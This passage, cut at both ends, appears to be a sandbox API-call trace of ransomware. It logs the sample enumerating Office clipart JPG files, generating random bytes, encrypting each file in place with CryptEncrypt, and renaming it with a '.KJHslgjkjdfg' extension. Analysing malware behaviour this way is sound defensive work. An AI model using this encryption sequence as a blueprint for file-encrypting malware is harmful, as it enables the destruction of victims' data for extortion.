office\\clipart\\pub60cor\\j0382968.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg.kjhslgjkjdfg")) returned 1 [0202.260] CloseHandle (hObject=0x130) returned 1 [0202.260] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1779f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382969.JPG", cAlternateFileName="")) returned 1 [0202.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.262] GetProcessHeap () returned 0x990000 [0202.262] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.262] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.262] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.262] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x1, lpOverlapped=0x0) returned 1 [0202.266] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.266] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.266] GetProcessHeap () returned 0x990000 [0202.266] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.266] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.266] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.267] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.267] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.267] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.267] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.267] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.267] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.267] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.267] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.267] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.267] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1779f, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1779f, lpOverlapped=0x0) returned 1 [0202.269] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x177a0, dwBufLen=0x177a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x177a0) returned 1 [0202.270] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.270] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x177a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x177a0, lpOverlapped=0x0) returned 1 [0202.271] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.271] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17874, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.271] SetEndOfFile (hFile=0x130) returned 1 [0202.274] GetProcessHeap () returned 0x990000 [0202.274] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.274] GetProcessHeap () returned 0x990000 [0202.274] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.274] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg.kjhslgjkjdfg")) returned 1 [0202.276] CloseHandle (hObject=0x130) returned 1 [0202.276] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15b94, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382970.JPG", cAlternateFileName="")) returned 1 [0202.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.277] GetProcessHeap () returned 0x990000 [0202.277] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.277] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.277] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.277] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0202.280] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.280] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.280] GetProcessHeap () returned 0x990000 [0202.280] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.280] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.280] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.280] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.280] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.280] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.280] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.280] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.280] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.280] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.280] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.280] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.280] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x15b94, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x15b94, lpOverlapped=0x0) returned 1 [0202.282] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x15ba0, dwBufLen=0x15ba0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x15ba0) returned 1 [0202.283] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.283] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x15ba0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x15ba0, lpOverlapped=0x0) returned 1 [0202.283] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.284] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x15c74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.284] SetEndOfFile (hFile=0x130) returned 1 [0202.285] GetProcessHeap () returned 0x990000 [0202.285] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.285] GetProcessHeap () returned 0x990000 [0202.285] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.285] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg.kjhslgjkjdfg")) returned 1 [0202.301] CloseHandle (hObject=0x130) returned 1 [0202.301] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x190e9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0384862.JPG", cAlternateFileName="")) returned 1 [0202.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.302] GetProcessHeap () returned 0x990000 [0202.302] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.302] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.302] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.302] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x7, lpOverlapped=0x0) returned 1 [0202.305] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.306] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.306] GetProcessHeap () returned 0x990000 [0202.306] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.306] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.306] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.306] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.306] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.306] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.306] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.306] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.306] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.306] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.306] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.306] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.307] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x190e9, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x190e9, lpOverlapped=0x0) returned 1 [0202.312] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x190f0, dwBufLen=0x190f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x190f0) returned 1 [0202.314] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.314] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x190f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x190f0, lpOverlapped=0x0) returned 1 [0202.314] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.314] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x191c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.314] SetEndOfFile (hFile=0x130) returned 1 [0202.318] GetProcessHeap () returned 0x990000 [0202.318] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.318] GetProcessHeap () returned 0x990000 [0202.318] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.318] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg.kjhslgjkjdfg")) returned 1 [0202.320] CloseHandle (hObject=0x130) returned 1 [0202.320] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17b79, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0384885.JPG", cAlternateFileName="")) returned 1 [0202.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.322] GetProcessHeap () returned 0x990000 [0202.322] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.322] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.322] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.322] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x7, lpOverlapped=0x0) returned 1 [0202.325] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.325] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.325] GetProcessHeap () returned 0x990000 [0202.325] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.325] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.325] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.325] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.325] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.325] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.325] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.325] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.326] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.326] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.326] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.326] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.326] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x17b79, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x17b79, lpOverlapped=0x0) returned 1 [0202.329] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x17b80, dwBufLen=0x17b80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x17b80) returned 1 [0202.330] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.330] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x17b80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x17b80, lpOverlapped=0x0) returned 1 [0202.331] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.331] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.331] SetEndOfFile (hFile=0x130) returned 1 [0202.334] GetProcessHeap () returned 0x990000 [0202.334] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.335] GetProcessHeap () returned 0x990000 [0202.335] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.335] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg.kjhslgjkjdfg")) returned 1 [0202.337] CloseHandle (hObject=0x130) returned 1 [0202.337] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14033, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0384888.JPG", cAlternateFileName="")) returned 1 [0202.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.339] GetProcessHeap () returned 0x990000 [0202.339] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.339] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.339] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 